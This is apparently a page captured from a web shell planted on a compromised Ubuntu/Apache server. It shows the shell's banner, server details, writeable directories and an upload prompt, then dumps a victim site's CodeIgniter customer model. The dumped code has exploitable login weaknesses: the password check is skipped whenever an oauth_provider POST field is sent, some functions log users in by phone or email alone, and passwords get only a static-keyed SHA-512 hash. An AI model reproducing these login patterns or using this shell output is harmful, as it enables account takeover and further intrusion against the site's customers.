https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/models/Customer_m.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Customer_m extends MY_Model {
	
	protected $_table_name = 'customers';
	protected $_primary_key = 'id_customers'; 
	protected $_order_by = 'id_customers';
	
	public $rules = array(
		'email' => array(
			'field'=>'email', 
			'label'=>'Email', 
			'rules'=>'trim|required|valid_email'),	

		'password' => array(
			'field'=>'password', 
			'label'=>'Password', 
			'rules'=>'trim|required')
	);

	public $rules_sms = array(
		'phone' => array(
			'field'=>'phone', 
			'label'=>'Phone', 
			'rules'=>'trim|required|callback__cek_phone'),	

		'sms_code' => array(
			'field'=>'sms_code', 
			'label'=>'SMS Code', 
			'rules'=>'trim|required|callback__cek_smscode')
	);

	public $lostpassword_rules = array(
			
		'email' => array(
			'field'=>'emaillost', 
			'label'=>'Email', 
			'rules'=>'trim|required|valid_email|callback_checkregisteredemail')	
	);

	public $registration_rules = array(

		'name' => array(
			'field'=>'name', 
			'label'=>'Name', 
			'rules'=>'trim|required'),

		'phone' => array(
			'field'=>'phone', 
			'label'=>'phone', 
			'rules'=>'trim|required|callback__cek_phone'
		),

		'register_email' => array(
			'field'=>'register_email', 
			'label'=>'Email', 
			'rules'=>'trim|required|valid_email|callback__cek_email'
		),

		'register_password' => array(
			'field'=>'register_password', 
			'label'=>'Password', 
			'rules'=>'trim|required'), 

		'toc' => array(
			'field'=>'toc', 
			'label'=>'toc', 
			'rules'=>'trim|required'), 

		'g-recaptcha-response' => array(
			'field'   => 'g-recaptcha-response',
			'label'   => 'Captcha',
			'rules'   => 'required'),  	
	);

	public $guestcheckout_rules = array(

			'name' => array(
				'field'=>'name_guest', 
				'label'=>'Name', 
				'rules'=>'trim|required'),

			'phone' => array(
				'field'=>'phone_guest', 
				'label'=>'Phone', 
				'rules'=>'trim|required'),	

			'register_email' => array(
				'field'=>'register_email_guest', 
				'label'=>'Email', 
				'rules'=>'trim|required|valid_email'),

			'country' => array(
				'field'=>'country', 
				'label'=>'Country', 
				'rules'=>'trim|required'),

			'province' => array(
				'field'=>'province', 
				'label'=>'Province', 
				'rules'=>'trim|required'),

			'district' => array(
				'field'=>'district', 
				'label'=>'District', 
				'rules'=>'trim|required'),

			'subdistrict' => array(
				'field'=>'subdistrict', 
				'label'=>'Subdistrict', 
				'rules'=>'trim|required'),	

			'address' => array(
				'field'=>'address', 
				'label'=>'Address', 
				'rules'=>'trim|required'), 

			'postcode' => array(
				'field'=>'postcode', 
				'label'=>'Postcode', 
				'rules'=>'trim'),
		);	

	public $guestcheckout_rules_international = array(

			'name' => array(
				'field'=>'name_guest', 
				'label'=>'Name', 
				'rules'=>'trim|required'),

			'phone' => array(
				'field'=>'phone_guest', 
				'label'=>'Phone', 
				'rules'=>'trim|required'),	

			'register_email' => array(
				'field'=>'register_email_guest', 
				'label'=>'Email', 
				'rules'=>'trim|required|valid_email'),

			'country' => array(
				'field'=>'country', 
				'label'=>'Country', 
				'rules'=>'trim|required'),

			'address' => array(
				'field'=>'address', 
				'label'=>'Address', 
				'rules'=>'trim|required'), 

			'postcode' => array(
				'field'=>'postcode', 
				'label'=>'Postcode', 
				'rules'=>'trim'),
		);		

	public $registration_rules_international = array(

		'title' => array(
			'field'=>'title', 
			'label'=>'Title', 
			'rules'=>'trim|required'),	

		'name' => array(
			'field'=>'name', 
			'label'=>'Name', 
			'rules'=>'trim|required'),

		'phone' => array(
			'field'=>'phone', 
			'label'=>'Phone', 
			'rules'=>'trim|required'),	

		'register_email' => array(
			'field'=>'register_email', 
			'label'=>'Email', 
			'rules'=>'trim|required|valid_email|callback_cek_email'),

		'birthday' => array(
			'field'=>'birthday', 
			'label'=>'Birthday', 
			'rules'=>'trim'),	

		'register_password' => array(
			'field'=>'register_password', 
			'label'=>'Password', 
			'rules'=>'trim|required'),

		'country' => array(
			'field'=>'country', 
			'label'=>'Country', 
			'rules'=>'trim|required'),

		'address' => array(
			'field'=>'address', 
			'label'=>'Address', 
			'rules'=>'trim|required'), 

		'postcode' => array(
			'field'=>'postcode', 
			'label'=>'Postcode', 
			'rules'=>'trim')
	);

	public $admin_rules_add = array(

		'name' => array(
			'field'=>'name', 
			'label'=>'Name', 
			'rules'=>'trim|required'),

		'phone' => array(
			'field'=>'phone', 
			'label'=>'Phone', 
			'rules'=>'trim|required'),	

		'email' => array(
			'field'=>'email', 
			'label'=>'Email', 
			'rules'=>'trim|required|valid_email|callback_cek_email'),

		'register_password' => array(
			'field'=>'register_password', 
			'label'=>'Password', 
			'rules'=>'trim|required'),

		'retype_register_password' => array(
			'field'=>'retype_register_password', 
			'label'=>'Retype Password', 
			'rules'=>'trim|required|matches[register_password]'), 	
		
	);

	public $admin_rules_edit = array(

		'name' => array(
			'field'=>'name', 
			'label'=>'Name', 
			'rules'=>'trim|required'),

		'phone' => array(
			'field'=>'phone', 
			'label'=>'Phone', 
			'rules'=>'trim|required'),	

		'email' => array(
			'field'=>'email', 
			'label'=>'Email', 
			'rules'=>'trim|required|valid_email|callback_cek_email'),

		'register_password' => array(
			'field'=>'register_password', 
			'label'=>'Password', 
			'rules'=>'trim'),

		'retype_register_password' => array(
			'field'=>'retype_register_password', 
			'label'=>'Retype Password', 
			'rules'=>'trim|matches[register_password]'), 	

		
	);

	public $admin_rules_edit_reseller = array(

		'name' => array(
			'field'=>'name', 
			'label'=>'Name', 
			'rules'=>'trim|required'),

		'phone' => array(
			'field'=>'phone', 
			'label'=>'Phone', 
			'rules'=>'trim|required'),	

		'email' => array(
			'field'=>'email', 
			'label'=>'Email', 
			'rules'=>'trim|required|valid_email|callback_cek_email_edit'),

		'register_password' => array(
			'field'=>'register_password', 
			'label'=>'Password', 
			'rules'=>'trim'),

		'retype_register_password' => array(
			'field'=>'retype_register_password', 
			'label'=>'Retype Password', 
			'rules'=>'trim|matches[register_password]'), 	

		
	);

	public $admin_rules_international = array(

		'title' => array(
			'field'=>'title', 
			'label'=>'Title', 
			'rules'=>'trim|required'),	

		'name' => array(
			'field'=>'name', 
			'label'=>'Name', 
			'rules'=>'trim|required'),

		'phone' => array(
			'field'=>'phone', 
			'label'=>'Phone', 
			'rules'=>'trim|required'),	

		'email' => array(
			'field'=>'email', 
			'label'=>'Email', 
			'rules'=>'trim|required|valid_email|callback_cek_email'),

		'birthday' => array(
			'field'=>'birthday', 
			'label'=>'Birthday', 
			'rules'=>'trim'),	

		'register_password' => array(
			'field'=>'register_password', 
			'label'=>'Password', 
			'rules'=>'trim'),

		'retype_register_password' => array(
			'field'=>'retype_register_password', 
			'label'=>'Retype Password', 
			'rules'=>'trim'), 

		'country' => array(
			'field'=>'country', 
			'label'=>'Country', 
			'rules'=>'trim|required'),

		'address' => array(
			'field'=>'address', 
			'label'=>'Address', 
			'rules'=>'trim|required'), 

		'postcode' => array(
			'field'=>'postcode', 
			'label'=>'Postcode', 
			'rules'=>'trim')
	);

	public $profile_rules = array(

			'name' => array(
				'field'=>'name', 
				'label'=>'Name', 
				'rules'=>'trim|required'),	
			
			'password' => array(
				'field'=>'password', 
				'label'=>'Password', 
				'rules'=>'trim'),
	);

	public $shipping_rules = array(

			'shipping_address' => array(
				'field'=>'shipping_address', 
				'label'=>'Shipping ddress', 
				'rules'=>'trim|required'),

			'shipping_country' => array(
				'field'=>'shipping_country', 
				'label'=>'Country', 
				'rules'=>'trim|required'),	

			'shipping_province' => array(
				'field'=>'shipping_province', 
				'label'=>'Shipping Province', 
				'rules'=>'trim|required'),

			'shipping_district' => array(
				'field'=>'shipping_district', 
				'label'=>'Shipping District', 
				'rules'=>'trim|required'),	

			'shipping_subdistrict' => array(
				'field'=>'shipping_subdistrict', 
				'label'=>'Shipping Sub District', 
				'rules'=>'trim|required'),	

			'shipping_postcode' => array(
				'field'=>'shipping_postcode', 
				'label'=>'Postcode', 
				'rules'=>'trim')
			
	);

	public $shipping_rules_international = array(

			'recipient_name' => array(
				'field'=>'recipient_name', 
				'label'=>'Recipient Name', 
				'rules'=>'trim|required'),	

			'address' => array(
				'field'=>'address', 
				'label'=>'Address', 
				'rules'=>'trim|required'),

			'country' => array(
				'field'=>'country', 
				'label'=>'Country', 
				'rules'=>'trim|required'),	

			'postcode' => array(
				'field'=>'postcode', 
				'label'=>'Postcode', 
				'rules'=>'trim'),

			'phone' => array(
				'field'=>'phone', 
				'label'=>'Phone', 
				'rules'=>'trim|required'),

			'shipping_name' => array(
				'field'=>'shipping_name', 
				'label'=>'Shipping Name', 
				'rules'=>'trim'),	

			'shipping_address' => array(
				'field'=>'shipping_address', 
				'label'=>'AShipping ddress', 
				'rules'=>'trim'),

			'shipping_country' => array(
				'field'=>'shipping_country', 
				'label'=>'Country', 
				'rules'=>'trim'),

			'shipping_postcode' => array(
				'field'=>'shipping_postcode', 
				'label'=>'Postcode', 
				'rules'=>'trim'),

			'shipping_phone' => array(
				'field'=>'shipping_phone', 
				'label'=>'Phone', 
				'rules'=>'trim|required')
	);
			
	function __construct() {
		parent::__construct();	
	}	
	
	//function for login
	public function login() { 

		$email = $this->security->xss_clean($this->input->post('email'));

		$data_where = array(
			'email' => $this->security->xss_clean($this->input->post('email')),
			'password' => $this->hash($this->input->post('password')),
			'status' => 1,
			'oauth_provider' => 'normal',
		);

		if ($this->input->post('oauth_provider')) {
			unset($data_where['password']);
			$data_where['oauth_provider'] = $this->input->post('oauth_provider');
			$data_where['oauth_uid'] = $this->input->post('oauth_uid');
		}



		//this is a regular customer
		$customer = $this->get_by($data_where,TRUE);

		// echo "<pre>";
		// var_dump($data_where);
		// exit();
	
		if(count($customer)) {
			//if customer is exist in database, then log them in..	
			$customer_data = array(
				'customer_name' => $customer->name,
				'customer_email' => $customer->email,
				'customer_id' => $customer->id_customers,
				'customer_loggedin' => TRUE,
				'oauth_provider' => 'normal',
				'customer_type' => 'regular'
			);
			$this->session->set_userdata(array('customer' => $customer_data)); 
		}

		//this is a regular customer
		return $customer_type = 'regular customer';

		/* if(count($customer_migration) > 0) {

			//this is a bulk imported new customer
			return $customer_type = 'first migration';

		} else {

			//this is a regular customer
			$customer = $this->get_by(array(
				'email' => $this->security->xss_clean($this->input->post('email')),
				'password' => $this->hash($this->input->post('password')),
				'status' => 1
				), TRUE);
		
			if(count($customer)) {
				//if customer is exist in database, then log them in..	
				$customer_data = array(
					'customer_name' => $customer->name,
					'customer_email' => $customer->email,
					'customer_id' => $customer->id_customers,
					'customer_loggedin' => TRUE,
					'customer_type' => 'regular'
				);
				$this->session->set_userdata(array('customer' => $customer_data)); 
			}

			//this is a regular customer
			return $customer_type = 'regular customer';
		} */
	} 

	public function login_sms() { 
		$customer = $this->get_by(array(
				'phone' => $this->security->xss_clean($this->input->post('phone'))
				), TRUE);
		
		if(count($customer)) {
			//if customer is exist in database, then log them in..	
			$customer_data = array(
				'customer_name' => $customer->name,
				'customer_email' => $customer->email,
				'customer_id' => $customer->id_customers,
				'customer_loggedin' => TRUE,
				'customer_type' => 'regular'
			);
			$this->session->set_userdata(array('customer' => $customer_data)); 
		}
	} 

	//function for 1st login after registration
	public function first_login_guest() { 
		$customer = $this->get_by(array(
			'email' => $this->security->xss_clean($this->input->post('register_email')),
			/* 'password' => NULL */
			), TRUE);
		
		if(count($customer)) {
			//if customer is exist in database, then log them in..
			$customer_data = array(
				'customer_name' => $customer->name,
				'customer_email' => $customer->email,
				'customer_id' => $customer->id_customers,
				'customer_loggedin' => TRUE,
				'customer_type' => 'regular'
			);
			$this->session->set_userdata(array('customer' => $customer_data));
		}
	}
	
	//function for logout
	public function logout() {
   		$this->session->unset_userdata('customer');
    }
	
	//IS USED: function to check if logged in, true if loggedin
	public function loggedin() {
		return (bool) $this->session->userdata('customer')['customer_loggedin'];
	}
	
	//function for hashing SHA512
	public function hash($string) {
		return hash('sha512', $string . config_item('encryption_key'));
		//password is salted with encryption key, and then use sha512
    }

	//count existing email
    function cek_existing_email($email, $customer_id) {

		$this->db->select('id_customers');
		$this->db->from('customers');
		$this->db->where('email', $email);
		if ($customer_id != NULL) {
			
			$this->db->where('id_customers !=', $customer_id);	
		} 
		$count = $this->db->get()->num_rows();
		
		return $count;
	}

	//count existing email for add new reseller
    function cek_existing_email_reseller($email) {

		$this->db->select('id_customers');
		$this->db->from('customers');
		$this->db->where('email', $email);
		$count = $this->db->get()->num_rows();
		return $count;
	}

	//count existing email for edit reseller
    function cek_existing_email_reseller_edit($email, $customer_id) {

		$this->db->select('id_customers');
		$this->db->from('customers');
		$this->db->where('email', $email);
		if ($customer_id != NULL) {
			$this->db->where('id_customers !=', $customer_id);	
		} 
		$count = $this->db->get()->num_rows();
		return $count;
	}

	//count existing phone
    function cek_existing_phone($phone, $customer_id) {

		$this->db->select('id_customers');
		$this->db->from('customers');
		$this->db->where('phone', $phone);
		if ($customer_id != NULL) {
			$this->db->where('id_customers !=', $customer_id);	
		} 
		$query = $this->db->get();
		return $query->num_rows();
	}

	//count smscode
    function cek_smscode($code) {

		$this->db->select('id_sms_code');
		$this->db->from('sms_code');
		$this->db->where('phone', $this->security->xss_clean($this->input->post('phone')));
		$this->db->where('sms_code', $code);
		$query = $this->db->get();
		return $query->num_rows();
	}

	//get customer by id customer
	function get_customer($id_customer) {
		$this->db->select('*');
		$this->db->from('customers');
		$this->db->where('id_customers', $id_customer);
		$query = $this->db->get();
		return $query->row();
	}

	//update customer profile
	function update_profile($id, $data) {
		$this->db->where('id_customers', $id);
		$this->db->update('customers', $data);	
	}

	//get shipping
	function get_shipping($id_customer) {

		$this->db->select('*');
		$this->db->from('customers');
		$this->db->where('id_customers', $id_customer);
		$query = $this->db->get();
		return $query->row();
	}

	//update shipping
	function update_shipping($id, $data) {
		$this->db->where('id_customers', $id);
		$this->db->update('customers', $data);	
	}

    //function to return a new user
	public function get_new() {
		$user = new stdClass();
		$user->name = '';	
		$user->sex_type = '';
		$user->newsletter = '';
		$user->is_delete = '';
		$user->title = '';	
		$user->email = '';
		$user->phone = '';
		$user->password = '';
		$user->address = '';
		$user->postcode = '';
		$user->status = '';
		$user->reseller_id = '';
		$user->dropship = '';
		$user->shipping_address = '';
		$user->shipping_postcode = '';
		$user->type = '';
		return $user;
	}

	//function count all record for customers
	public function record_count() {
		$this->db->select('*')->from('customers')->where('is_delete', 'no');
		$count = $this->db->get()->num_rows();
		return $count;
    }

    //get all customer with pagination included
	function get_all_customers($limit, $start) {
		$this->db->select('*');
		$this->db->from('customers');
		$this->db->order_by('join_date', 'DESC');
		$this->db->limit($limit, $start);
		$query = $this->db->get();		
		return $query->result();
	}

	//excel export customer data
	function excel_export() {
		$this->db->select('name, email, phone, birthday, address, province, district, subdistrict, type');
		$this->db->from('customers');
		$this->db->order_by('join_date', 'DESC');
		$query = $this->db->get();		
		return $query->result();
	}
	
}

https://t.me/RX1948 - 2025